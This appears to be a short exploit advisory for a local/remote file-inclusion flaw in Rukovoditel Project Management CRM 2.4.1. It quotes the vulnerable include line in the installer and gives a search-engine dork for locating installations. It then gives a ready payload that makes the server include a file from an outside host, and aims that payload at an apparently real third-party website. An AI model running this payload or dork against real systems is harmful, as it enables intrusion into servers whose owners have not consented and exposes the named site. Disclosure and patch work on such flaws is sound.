==================================================================================================================================== | # Title : Rukovoditel Project Management CRM 2.4.1 - LFI Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 65.0(32-bit) | | # Vendor : https://www.rukovoditel.net/ | | # Dork : "Powered by Rukovoditel" | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] index.php in install folder line : 25 include('languages/' . $_GET['lng'] . '.php'); [+] Use Payload : /install/index.php?lng=http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg&step=rukovoditel_config [+] https://www.inttotal.com/hrprocess//install/index.php?lng=http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg&step=rukovoditel_config Greetings to :========================================================================================================================= | jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* | | =======================================================================================================================================